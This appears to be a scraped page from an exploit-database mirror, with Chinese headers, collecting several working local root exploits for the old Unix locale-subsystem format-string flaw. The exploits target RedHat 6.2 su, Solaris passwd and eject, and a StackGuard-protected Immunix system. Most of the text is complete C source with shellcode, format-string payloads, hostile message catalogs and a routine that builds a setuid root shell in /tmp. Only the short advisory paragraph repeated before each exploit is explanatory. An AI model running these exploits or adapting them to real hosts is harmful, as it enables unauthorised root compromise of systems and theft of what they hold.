      t1 = strtoul(token, NULL, 16);
      token = strtok(NULL, "*");
      if (!token) continue;
      token = strtok(NULL, "*");
      if (!token) continue;
      t2 = strtoul(token, NULL, 16);

      if (t2 == test_value)
if (t1 == (test_value+2)) {
  *eatr = eat;
  *padr = pad;
  sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
  system(execbuf);
  if (tmpfile[0]) unlink(tmpfile);
  return;
}

      // sleep(10);
    }
    printf(".");
    fflush(stdout);
  }

  if (tmpfile[0]) unlink(tmpfile);
  sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
  system(execbuf);

  printf("failed to calculate eat and pad values. glibc patched or
invalid language?\naborting\n");
  exit(0);
}

void checkfor(char *p)
{
  int fd;
  fd = open(p, O_RDONLY);
  if (fd < 0) {
    printf("failed\naborting\n");
    exit(0);
  }
  close(fd);
  printf("Ok\n");
  fflush(stdout);
}

void make_suid_shell()
{
  FILE *f;
  char execbuf[1024];

  f = fopen("/tmp/kidd0.c", "w");
  if (!f) {
    printf(" failed to create /tmp/kidd0.c\naborting\n");
    exit(0);
  }

  fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");
}");
  fclose(f);

  sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/xp");
  system(execbuf);

  sprintf(execbuf, "rm -f /tmp/kidd0.c");
  system(execbuf);

  f = fopen("/tmp/xp", "r");
  if (!f) {
    printf(" failed to compile /tmp/kidd0.c\naborting\n");
    exit(0);
  }
  fclose(f);

  printf(" /tmp/xp created Ok\n");
  fflush(stdout);
}

void search_valid_language()
{
  DIR *locale;
  struct dirent *dentry;

  locale = opendir("/usr/share/locale");
  if (!locale) {
    perror("failed to opendir /usr/share/locale");
    printf("aborting\n");
    exit(0);
  }

  while (dentry = readdir(locale)) {

    if (!strchr(dentry->d_name, '_')) continue;

    language = (char*) malloc(40 + strlen(dentry->d_name));
    if (!language) {
      printf("malloc failed\naborting\n");
      exit(0);
    }
    memset(language, 0, 40 + strlen(dentry->d_name));
    sprintf(language, "LANGUAGE=%s/../../../../../../tmp",dentry->d_name);
    closedir(locale);
    printf(" [using %s] ", dentry->d_name);
    return;
  }

  printf("failed to find a valid language\naborting\n");
  exit(0);
}


// milw0rm.com [2003-01-15]
		

- 漏洞信息 (20185)

RedHat 6 glibc/locale Subsystem Format String (EDBID:20185)
linux local
2000-09-06 Verified
0 warning3
N/A [点击下载]
Conectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String

source: http://www.securityfocus.com/bid/1634/info

Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.

In particular a database with messages used by almost all the operating system programs is keep for each supported language.

The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).

Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.

Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.

Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)

It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.


/* exploit for glibc/locale format strings bug.
 * Tested in RedHat 6.2 with kernel 2.2.16.
 * Script kiddies: you should modify this code
 * slightly by yourself. :)
 *
 * Greets: Solar Designer, Jouko Pynnvnen , zenith parsec
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                     y2k/9/6
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define DEFAULT_OFFSET                  550
#define DEFAULT_ALIGNMENT                 2
#define DEFAULT_RETLOC           0xbfffd2ff
#define DEFAULT_BUFFER_SIZE            2048
#define DEFAULT_EGG_SIZE               1024
#define NOP                            0x90
#define PATH             "/tmp/LC_MESSAGES"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}


 main(int argc, char *argv[]) {
  char *buff, *buff1, *ptr, *egg;
  char *env[3];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
  int i,reth,retl,num=113;
  FILE *fp;

  if (argc > 1) sscanf(argv[1],"%x",&retloc);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) num = atoi(argv[3]);
  if (argc > 4) align = atoi(argv[4]);
  if (argc > 5) bsize   = atoi(argv[5]);
  if (argc > 6) eggsize = atoi(argv[6]);



  printf("Usages: %s <RETloc> <offset> <num> <align> <buffsize> <eggsize> \n",argv[0]);

  if (!(buff = malloc(eggsize))) {
       printf("Can't allocate memory.\n");
       exit(0);
    }


  if (!(buff1 = malloc(bsize))) {
       printf("Can't allocate memory.\n");
       exit(0);
    }

  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

    printf("Using RET location address: 0x%x\n", retloc);
    shell_addr = get_esp() + offset;
    printf("Using Shellcode address: 0x%x\n", shell_addr);

    reth = (shell_addr >> 16) & 0xffff ;
    retl = (shell_addr >>  0) & 0xffff ;

    ptr = buff;

    for (i = 0; i <2 ; i++, retloc+=2 ){
       memset(ptr,'A',4);
       ptr += 4 ;
       (*ptr++) =  retloc & 0xff;
       (*ptr++) = (retloc >> 8  ) & 0xff ;
       (*ptr++) = (retloc >> 16 ) & 0xff ;
       (*ptr++) = (retloc >> 24 ) & 0xff ;
      }

     memset(ptr,'A',align);

     ptr = buff1;

     for(i = 0 ; i < num ; i++ )
     {
        memcpy(ptr, "%.8x", 4);
        ptr += 4;
     }

     sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(retl - num*8),
              (0x10000 + reth - retl));


    mkdir(PATH,0755);
    chdir(PATH);
    fp = fopen("libc.po", "w+");
    fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n");
    fprintf(fp,"msgstr \"%s\\n\"", buff1);
    fclose(fp);
    system("/usr/bin/msgfmt libc.po -o libc.mo");


    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
      *(ptr++) = NOP;

    for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

    egg[eggsize - 1] = '\0';

    memcpy(egg, "EGG=", 4);
    env[0] = egg ;
    env[1] = "LANGUAGE=sk_SK/../../../../../../tmp";
    env[2] = (char *)0 ;

    execle("/bin/su","su","-u", buff, NULL,env);

}  /* end of main */		

- 漏洞信息 (20186)

Solaris 2.6/7.0 /locale Subsystem Format String (EDBID:20186)
solaris local
2000-11-02 Verified
0 warning3
N/A [点击下载]
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String

source: http://www.securityfocus.com/bid/1634/info
 
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
 
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
 
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
 
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
 
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
 
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
 
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.

/* exploit for locale subsystem format strings bug In Solaris with noexec stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. 
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                     y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048                    /* the size of format string buffer*/
#define BUFF    128                     /* the progname buffer size */
#define SHELL   "/bin/ksh"              /* shell name */
#define DEFAULT_NUM 68                  /* format strings number */
#define DEFAULT_RETLOC 0xffbefb44       /* default retloc address */
#define VULPROG  "/usr/bin/passwd"      /* vulnerable program name */



void usages(char *progname)
{

        int i;
        printf("Usage: %s \n", progname);
        printf("          [-h]             Help menu\n");
        printf("          [-n number]      format string's number\n");
        printf("          [-a align]       retloc buffer alignment\n");
        printf("          [-o offset]      retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)

 {
        __asm__("mov %sp,%i0");
 }


main( int argc, char **argv )

 {

        char *pattern, retlocbuf[BUFF], *env[11];
        char plat[BUFF], *ptr;
        long sh_addr, sp_addr, i;
        long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
        long  *addrptr;
        long reth, retl, reth1, retl1;
        FILE *fp;
        

        extern int optind, opterr;
        extern char *optarg;
        int opt;

        void *handle;
        long execl_addr, fp_addr, fp1_addr;
        char fakeframe[512];
        char padding[64], pad = 0;
        int env_len, arg_len, len;

        char progname[BUFF];


        strncpy(progname, argv[0], BUFF-1);

        while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
                switch((char)opt)
                {

                        case 'n':
                                num = atoi(optarg);
                                break;

                        case 'a':
                                align = atoi(optarg);
                                break;
                        case 'o':
                                offset = atoi(optarg);
                                break;
                        case '?':
                        case 'h':
                        default:
                                usages(progname);
                                exit(0);
                }

        retloc +=  offset;
        
        /* get platform info  */
        sysinfo(SI_PLATFORM,plat,256);

        /* Construct fake frame in environ */
        
        env[0] = "NLSPATH=:.";
        env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
        /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
        env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00                       */
        env[3]=&(fakeframe[40]);/*                     |0x00                  */
        env[4]=&(fakeframe[40]);/*                          |0x00             */
        env[5]=&(fakeframe[40]);/*                               |0x00        */
        env[6]=&(fakeframe[44]);/*                                    |fp2|fp2|fp2|fp2|fp2*/
        env[7]=SHELL;           /* shell strings */
        env[8]=NULL;

        /* calculate the length of "VULPROG" + argv[1] */
        arg_len = strlen(VULPROG) + strlen("-z") + 2;

        /* calculate the pad nummber .
         * We manage to let the length of padding + arg_len + "NLSPATH=." can
         * be divided by 4. So fakeframe address is aligned with 4, otherwise
         * the exploit won't work.
         */
        pad = 3 - (arg_len + strlen(env[0]) +1)%4;
        memset(padding, 'A', pad);
        padding[pad] = '\0';

        /* get environ length */
        env_len = 0; 
        for(i = 0 ; i < 8 ; i++ )
           env_len += strlen(env[i]) + 1;

         
       /* get the length from argv[0] to stack bottom 
        *                                                      
        * +------------------------+-----------+--------+-----------+--------+
        * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
        * +------------------------+-----------+--------+-----------+--------+
        * ^                                                         ^ 
        * |__startaddr                                              |__sp_addr 
        *
        * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
        *
        *  I find "startaddr" always can be divided by 4.
        *  So we can adjust the padding's size to let the fakeframe address
        *  can be aligned with 4.
        *
        * len = length of "argv" + "env" + "platform" + "program name" 
        * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
        * if (len%4)==0, sp_addr - startaddr =  len
        * So we can get every entry's address precisely based on startaddr or sp_addr.
        * Now we won't be bored with guessing the alignment and offset.:)
        */
       len = arg_len + env_len + strlen(plat) + 1 
                               + strlen(VULPROG) + 1;
       printf("len = %#x\n", len);

       /* get stack bottom address */

       sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

        /* fp1_addr must be valid stack address */
        fp1_addr = (sp_addr & 0xfffffac0);

        /* get shell string address */
        sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
                           - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;

         printf("SHELL address = %#x\n", sh_addr);
         
        /* get our fake frame address */
        fp_addr = sh_addr - 8*8 - 1;

        /* get execl() address */
        if (!(handle=dlopen(NULL,RTLD_LAZY)))
        {                                    
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
        }
        if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
        {
          fprintf(stderr,"Can't find execl().\n");
          exit(1);
        }                                         
                
        /* dec 4 to skip the 'save' instructure */
        execl_addr -= 4;
        
        /* check if the exec addr includes zero  */
        if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
          !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
        {
          fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
          exit(1);
        }

        printf("Using execl() address : %#x\n",execl_addr);

        /* now we set up our fake stack frame */

        addrptr=(long *)fakeframe;

        *addrptr++= 0x12345678; /* you can put any data in  local registers */
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;

        *addrptr++=sh_addr;      /* points to our string to exec */
        *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */
        *addrptr++=0x0;          /* NULL for execl();  &fakeframe[40] */
        *addrptr++=fp1_addr;     /* &fakeframe[44] */
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;     /* we need this address to work  */
        *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */

        *addrptr++=0x0;
        /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
        retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);

        printf("Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\n", retloc, fp_addr, align );

        /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/

       addrptr = (long *)retlocbuf;
        for( i = 0 ; i < 8 ; i ++ )
            *(addrptr + i) = 0x41414141;
        *(addrptr + 1) = retloc - 4;
        *(addrptr + 3) = retloc - 2;
        *(addrptr + 5) = retloc ;
        *(addrptr + 7) = retloc + 2;

        if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        /* Let's make formats string buffer: 
         * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|  
         */
        ptr = pattern;
        memset(ptr, 'A', 32);
        ptr += 32;

        for(i = 0 ; i < num ; i++ ){
           memcpy(ptr, "%.8x", 4);
           ptr += 4;
        }

        reth = (fp_addr >> 16) & 0xffff ;
        retl = (fp_addr >>  0) & 0xffff ;
        reth1 = (execl_addr >> 16) & 0xffff ;
        retl1 = (execl_addr >>  0) & 0xffff ;
        

        /* Big endian arch */
        sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
             (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),
             (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));

        if( !(fp = fopen("messages.po", "w+")))
        {
           perror("fopen");
           exit(1);
        }
        fprintf(fp,"domain \"messages\"\n");
        fprintf(fp,"msgid  \"%%s: illegal option -- %%c\\n\"\n");
        fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
        fclose(fp);
        system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");

        /* thanks for z33d's idea. 
         * It seems we have to do like this in Solaris 8.
         */
        i=open("./SUNW_OST_OSLIB",O_RDWR);
        /* locate the start position of formats strings in binary file*/
        lseek(i, 62, SEEK_SET);
        /* replace the start bytes with our retlocbuf */
        write(i, retlocbuf + align, 32 - align);
        close(i);

       execle(VULPROG, VULPROG, "-z", NULL, env);
}  /* end of main */		

- 漏洞信息 (20187)

Immunix OS 6.2 LC glibc format string (EDBID:20187)
Immunix local
2000-09-04 Verified
0 Kil3r of Lam3rZ
N/A [点击下载]
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
 
source: http://www.securityfocus.com/bid/1634/info
  
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
  
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
  
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
  
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
  
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
  
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
  
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.


/* 33_su.c exploit for LC glibc format string bug
   it works on StackGuarded version of RH 6.2
   called ImmunixOS (http://www.immunix.org/)
   Exploit (c)Lam3rZ Group by Kil3r of Lam3rZ

   it's the first public sploit that bypases
   StackGuard protection in real world
   it is also a proof of concept described long time ago in Lam3rZ's Phrack
   article "BYPASSING STACKGUARD AND STACKSHIELD" by Bulba and Kil3r
   [http://phrack.infonexus.com/search.phtml?view&article=p56-5]


   greetz: warning3, scut, stealth, bulba, tmoggie, nises, wasik (aka synek ;),
   and teso team, LSD team, HERT, padnieta babcia, z33d,
   lcamtuf aka postawflaszke, clubbing.pl, Lucek Skajuoker (wracaj do
   zdrowia!).

   Special greets go to Crispin Cowan

   Disclaimer: THIS is Lam3rZ style (famouce one). Lam3rz style DO NOT
   exploit bash, do not use bash and does nothing to do with bash scripts!
   Lam3rZ sploits do not like to take any arguments it confuses lamers!


   qwertz ?
   zes !

*/
// lamer:
// compile it as a regular user on a box and it should work! :)

// lam3r:
// read the code carefully and have a fun! :)


#include <stdio.h>

#define EXIT_GOT      	0x804c624
#define WHERESHELLCODE  0xbfffff81

#define ENV             "LANGUAGE=fi_FI/../../../../../../tmp"
#define PATH             "/tmp/LC_MESSAGES"



char *env[11];
char code[]=
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char hacker[]="\x24\xc6\x04\x08\x89\x89\x89\x89\x25\xc6\x04\x08\x89\x89\x89\x89\x26\xc6\x04\x08\x89\x89\x89\x89\x27\xc6\x04\x08\x44\x44\x44";

main () {
char buf[1024];
FILE *fp;

if(mkdir(PATH,0755) < 0)
{
perror("mkdir");
}
chdir(PATH);
if( !(fp = fopen("libc.po", "w+")))
{
perror("fopen");
exit(1);
}

strcpy(buf,"%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%dAAAA%226d%hn%126d%hn%256d%hn%192d%hn");

fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(fp,"msgstr \"%s\\n\"", buf);
fclose(fp);


system("/usr/bin/msgfmt libc.po -o libc.mo");
env[1]=ENV;
env[0]=code;
env[2]=hacker;
env[3]=NULL;
printf("ZAJEBI�CIE!!!\nA teraz b�dziesz le�a� i ta�czy� r�czk�!\n");
execle("/bin/su","su","-u", NULL,env);
}
		

- 漏洞信息 (20188)

Solaris 2.6/7.0 "eject" exploit for locale subsystem format string (EDBID:20188)
solaris local
2000-09-08 Verified
0 warning3
N/A [点击下载]
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
  
source: http://www.securityfocus.com/bid/1634/info
   
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
   
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
   
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
   
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
   
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
   
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
   
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.

/* "eject" exploit for locale subsystem format strings bug In Solaris
 * Tested in Solaris 2.6/7.0
 * Script kiddies: you should modify this code
 * slightly by yourself. :)
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com>.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                     y2k/9/8
 */
#include <stdio.h>
#include <sys/systeminfo.h>

#define RETLOC  0xffbefa2c  /* default retloc */
#define NUM     95          /* maybe should adjust this number */
#define ALIGN   0           /* If don't work ,try adjust align to 0,1,2,3 */

#define BUFSIZE 2048        /* the size of format string buffer*/
#define EGGSIZE 1024        /* the egg buffer size */
#define NOP     0xfa1d4015  /* "xor %l5, %l5, %l5" */
#define ALIGN1  2

#define VULPROG "/usr/bin/eject"

char shellcode[] = /* from scz's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"   /* setuid(0)  */
"\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09"   /* dup2(1,2)  */
"\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

/* get current stack point address to guess Return address */
long get_sp(void)

 {
        __asm__("mov %sp,%i0");
 }


main( int argc, char **argv )

 {

        char retlocbuf[256], *pattern,eggbuf[EGGSIZE],*env[3];
        char plat[256], *ptr;
        long sh_addr, sp_addr, retloc = RETLOC, i, num = NUM;
        long align=ALIGN, align1=ALIGN1;
        long  *addrptr;
        long reth, retl;
        FILE *fp;

        if( argc > 1 ) sscanf(argv[1],"%x",&retloc);
        if( argc > 2 ) align = atoi(argv[2]);
        if( argc > 3 ) num = atoi(argv[3]);


        addrptr = (long *) retlocbuf;
        retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);
        /* Let's make reloc buffer */

        for( i = 0 ; i < 2 ; i ++ ){
            *addrptr++ = 0x41414141;
            *addrptr++ = retloc;
            retloc += 2;
        }


        /* construct shellcode buffer */

        memset(eggbuf,'A',EGGSIZE);   /* fill the eggbuf with garbage */
        for (i = align; i < EGGSIZE; i+=4) /* fill with NOP */
        {
           eggbuf[i+3]=NOP & 0xff;
           eggbuf[i+2]=(NOP >> 8 ) &0xff;
           eggbuf[i+1]=(NOP >> 16 ) &0xff;
           eggbuf[i+0]=(NOP >> 24 ) &0xff;  /* Big endian */
         }
         /* Notice : we assume the length of shellcode can be divided exatcly by 4 .
            If not, exploit will fail. Anyway, our shellcode is. ;-)
          */
         memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4  + align, shellcode, strlen(shellcode));
         //memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */
         env[0] = "NLSPATH=:.";
         env[1] = eggbuf;    /* put eggbuf in env */
         env[2] = NULL;      /* end of env */

        /* get platform info  */
        sysinfo(SI_PLATFORM,plat,256);

        /* get stack bottom address */
        sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
        /* get shellcode address . many thanks to Olaf Kirch. :)
         * the trailing '8' make sure our sh_addr into "NOP"s area.
         */
        sh_addr =  sp_addr - strlen(VULPROG) - strlen(plat)  - strlen(eggbuf) - 3 + 8 ;

        printf("Usages: %s <retloc> <align> <num> <bufsize> \n\n", argv[0] );
        printf("Using RETloc address = 0x%x, RET address = 0x%x  ,Align= %d\n", retloc, sh_addr, align );

        if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        ptr = pattern;
        for(i = 0 ; i < num ; i++ ){
           memcpy(ptr, "%.8x", 4);
           ptr += 4;
        }

        reth = (sh_addr >> 16) & 0xffff ;
        retl = (sh_addr >>  0) & 0xffff ;
        sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(reth - num*8),
              (0x10000 +  retl - reth));

        printf("%s",pattern);

      if( !(fp = fopen("messages.po", "w+")))
      {
         perror("fopen");
         exit(1);
      }
   fprintf(fp,"domain \"messages\"\n");
   fprintf(fp,"msgid  \"usage: %%s [-fndq] [name | nickname]\\n\"\n");
   fprintf(fp,"msgstr \"%s\\n\"", pattern);
   fclose(fp);
   system("/usr/bin/msgfmt messages.po");
   system("cp messages.mo SUNW_OST_OSCMD");
   system("cp messages.mo SUNW_OST_OSLIB");

   execle(VULPROG,VULPROG,"-x",retlocbuf + align1, NULL, env);
}  /* end of main */
		

- 漏洞信息 (20189)

Libc locale exploit (1) (EDBID:20189)
unix local
2000-09-04 Verified
0 Synnergy.net
N/A [点击下载]
ectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
   
source: http://www.securityfocus.com/bid/1634/info
    
